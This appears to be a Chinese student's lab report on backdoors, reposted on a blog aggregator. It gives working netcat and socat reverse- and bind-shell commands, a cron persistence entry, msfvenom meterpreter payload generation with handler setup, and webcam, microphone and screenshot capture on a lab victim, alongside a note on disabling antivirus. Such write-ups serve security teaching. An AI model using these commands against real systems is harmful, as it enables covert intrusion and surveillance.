zoukankan      html  css  js  c++  java
  • 2018-2019-2 20165114《网络对抗技术》Exp2 后门原理与实践

    目录

    一、实验准备

    二、实验内容

    三、基础问题回答

    四、实验过程及步骤

    五、实验总结与体会

    六、实验中遇到的问题与错误。


    一、实验准备

    1、后门概念

    后门就是不经过正常认证流程而访问系统的通道

    哪里有后门呢?

    • 编译器留后门
    • 操作系统留后门
    • 最常见的当然还是应用程序中留后门
    • 还有就是潜伏于操作系统中或伪装为特定应用的专用后门程序。

    一个相对狭义一点的后门的概念:

    • 特指潜伏于操作系统中专门做后门的一个程序,
    • “坏人”可以连接这个程序
    • 远程执行各种指令。
    • 概念和木马有重叠

    后门成功的几个必要步骤:

    • 首先得有这么一个程序
    • 其次得放到系统里
    • 再次还得运行起来
    • 最后还得不被本机的恶意代码检测程序发现
    • 也不能被本机的或网络上的防火墙发现

    二、实验内容

    (1)使用netcat获取主机操作Shell,cron启动

    (2)使用socat获取主机操作Shell, 任务计划启动

    (3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

    (4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

    三、基础问题回答

    (1)例举你能想到的一个后门进入到你系统中的可能方式?

    • 当从浏览器中下载文件或者某软件时,经常有捆绑软件被默认勾选,其中可能就会有带有后门的盗版软件或者安装包,可能会在下载过程中下载后门代码。
    • 或者当你点击一个陌生的链接,可能会执行下载的操作,下载一个后门程序到系统中。

    (2)例举你知道的后门如何启动起来(win及linux)的方式?

    • Windows
      • 通过任务计划程序。
      • 将后门的程序设置为开机启动,开机即会启动。
      • 与其余的应用程序或者文件等捆绑起来,只要执行这个应用程序,后门就会启动。
    • Linux
      • 利用cron启动,比如程序代码写入每天的凌晨2执行该后门程序。
      • 与其余应用程序或者文件等捆绑启动。

    (3)Meterpreter有哪些给你映像深刻的功能?

    • Meterpreter可以成功控制被害主机,获得shell,可完成一系列强大的操作。
    • 还可以打开被害主机的摄像头,拍照、录像、截屏等都可以轻松做到。

    (4)如何发现自己系统有没有被安装后门?

    安装杀毒软件,为系统查杀病毒或者恶意代码,许多杀毒软件都可以检测出后门脚本。


    四、实验过程及步骤

    4.1 Netcat

    4.1.1使用netcat获取主机操作Shell
    **Window10获取Linux的shell**
    

    (1)从实验指导中下载压缩包ncat.rar,并解压,即可使用。

    (2)在win10的命令提示符中输入命令ipconfig查看window10的IP地址。

    (3)接着输入命令cd ncat---> ncat.exe -l -p 5114,win10打开监听,端口为5114。

    (4)在Linux中输入命令nc 192.168.1.173 -e /bin/sh,反弹连接win10.此时的IP地址为win10的IP地址。

    (5)win获得一个人linux shell,可运行任何指令。如下图:

    4.1.2 cron启动。

    Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。详细说明可以"man cron"。

    (1)windows系统下监听端口5114.

    (2)Linux系统下,输入指令crontab -e,crontab指令表示增加一条定时任务,"-e"表示编辑。由于是第一次编辑,故提示选择编辑器,选择3,进入编辑模式。

    (3)在最后一行加上55 * * * * /bin/netcat 192.168.1.173 5114 -e /bin/sh,表示每个小时的第55分钟执行后面的那条指令。

    (4)这是一个反弹连接式后门,linux在55分钟时连接Windows,监听的windows连接后可获得shell。

    4.1.3 使用netcat传输数据。

    (1)windows开启监听:ncat.exe -l 5114
    (2)linux 连接win10的5114端口:nc 192.168.1.173 5114
    (3)建立连接后,就能够成功传输数据啦~ 如下图:

    4.2 Socat

    4.2.1使用socat获取主机操作Shell, 任务计划启动

    socat是一个多功能的网络工具,名字来由是” Socket CAT”,可以看作是netcat的N倍加强版.

    (1)在windows10中打开控制面板,查看方式选择大图标,点击管理工具

    (2)找到任务计划程序,打开。

    (3)点击右侧的创建任务,填入名称20165114

    (4)新建触发器,开始任务处,选择工作站锁定时

    (5)程序或脚本选择socat.exe,添加参数````tcp-listen:1651 exec:cmd.exe:,pty,stderr.将cmd.exe绑定到端口1651```上,同时把cmd.exe的stderr重定向到stdout上,点击确定保存。

    (6)可以在上面看到名称为20165114的任务,右键,点击运行,出现一个黑色的弹窗。

    (7)在linux的shell中输入指令socat - tcp:172.30.6.18:1651,可以成功获得cmd.exe。


    4.3 Meterpreter

    后门就是一个程序。传统的理解是:有人编写一个后门程序,大家拿来用。后来有一些牛人呢,就想编写一个平台能生成后门程序。

    这个平台呢,把后门的

    • 基本功能(基本的连接、执行指令),
    • 扩展功能(如搜集用户信息、安装服务等功能),
    • 编码模式,
    • 运行平台,
    • 以及运行参数

    全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。

    典型的平台就包括有:

    • intersect
    • Metaspolit的msfvenom指令
    • Veil-evasion
    4.3.1使用msfenom生成后门可执行文件。我们要生成的这个后门程序是Meterpreter。

    (1)输入ifconfig查看Linux的IP地址,为172.30.6.19

    (2)使用指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.30.6.19 LPORT=5114 -f exe > 20165114_backdoor.exe生成一个可执行文件。

    参数说明
    -p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode
    -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中

    -e 使用的编码器,用于对shellcode变形,为了免杀

    -i 编码器的迭代次数。如上即使用该编码器编码5次

    -b badchar是payload中需要去除的字符

    LHOST 是反弹回连的IP

    LPORT 是回连的端口

    -f 生成文件的类型

    > 输出到哪个文件

    (3)将文件20165114_backdoor.exe复制到Windows10中,可以用netcat将文件传送给Windows10,也可以直接复制试试。

    • 如果使用netcat传送文件20165114_backdoor.exe需要以下几个步骤:

      • 在Windows下执行:ncat.exe -l 5114 > 20165114_backdoor.exe,接受文件。
      • 接下来在linux中执行:nc 192.168.1.173 < 20165114_backdoor.exe,(IP地址为win10 的IP)。
      • 稍等片刻即可成功。

    但是Windows10中的杀毒软件会发现并将其删除掉,因为它是个后门程序,我们可以暂时关闭杀毒软件,继续执行。

    下图为通过ncat传输成功的文件20165114_backdoor.exe。

    4.3.2打开监听进程。

    (1)在linux shell中输入msfconsole指令

    (2)按照次序输入以下指令,打开监听进程。
    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set LHOST 172.30.6.19 //注意此处应为Linux的IP!
    set LPORT 5114 //5114为端口号
    show options
    exploit

    注意:
    LHOST需要和上一步生成backdoor.exe的一致,本例中即172.30.6.19;
    LPORT也需要和上一步生成backdoor.exe的一致,即5114;
    payload也要一致,即windows/meterpreter/reverse_tcp。

    4.3.3在win10中双击20165114_backdoor.exe运行,主动连接。之后成功控制win10!

    4.3.4 接下来可以获取目标主机的音频、摄像头等内容,并尝试提权。

    (1)得到目标主机的截屏:srceenshot.

    (2)使用目标主机的摄像头拍照:webcam_snap.

    (3)使用摄像头录像:webcam_stream.
    (4)录音:record_mic.

    最后图片和音频等保存在linux中,如下图:

    提权尝试,但是没有成功,原因还在寻找中~


    五、实验总结与体会

    • 此次实验通过一个简单的后门实验,让感受到了后门的危害性极强。通过后门和一些恶意软件等,攻击者能够控制我们的电脑,窃取里面的信息等等,受害者毫不知情,黑客就得到了目标主机的控制权。目前的各个手机公司、软件公司等等都拥有这种能力,所以如何防范这类事情的发生也是值得思考的一件事情,利用我们所学的原理和技能,从另一个角度出发,学会发现和阻止后门或许才是我们应该学到的东西吧。
    • 在实践的过程中,我也发现自己的基础知识不够扎实,很多地方的步骤都是根据实践指导和学长学姐的博客来完成的,遇到问题无法继续时,较为被动和易沮丧,没有能够自主独立解决问题的能力。但是在不断地实践中,我也发觉了对于后门原理更加理解了,遇到错误虽然觉得自己很菜但是也在同学的帮助下最终解决了,总之还是受益匪浅吧。无法解决遇到的一些问题,我认为还是对原理和计算机基础知识不够了解,不能从原理出发解决问题。

    六、实验中遇到的问题与错误。

    错误一:

    在使用socat获取shell过程中,出现上图的报错,后来我更改了端口号,由5114改为了16515151等,在我多次尝试后,有时候能成功,但有时候也会仍然报错。如果遇到这种错误,可以试试重启或者换个端口号试试~

    错误二:

    在输入exploit后,发生handler failed to bind to 170.30.1.119:5114的错误,这是由于我的linux虚拟机IP地址为170.30.1.119,而windows的IP地址为170.30.6.18,两者不在一个网段里,只要对linux的IP地址进行修改,使其为170.30.6.*,再重新试一次即可成功。

    下面为解决方案的截图:

    手动修改下图的文件后,再进行重启,就会发现IP地址变为我们想要的了~

  • 相关阅读:
    There is an overlap in the region chain修复
    There is an overlap in the region chain
    region xx not deployed on any region server
    python 中的re模块,正则表达式
    TCP粘包问题解析与解决
    yield from
    Git push提交时报错Permission denied(publickey)...Please make sure you have the correct access rights and the repository exists.
    mysql 中Varchar 与char的区别
    Mysql 字符集及排序规则
    请实现一个装饰器,限制该函数被调用的频率,如10秒一次
  • 原文地址:https://www.cnblogs.com/erinwhere/p/10568006.html
Copyright © 2011-2022 走看看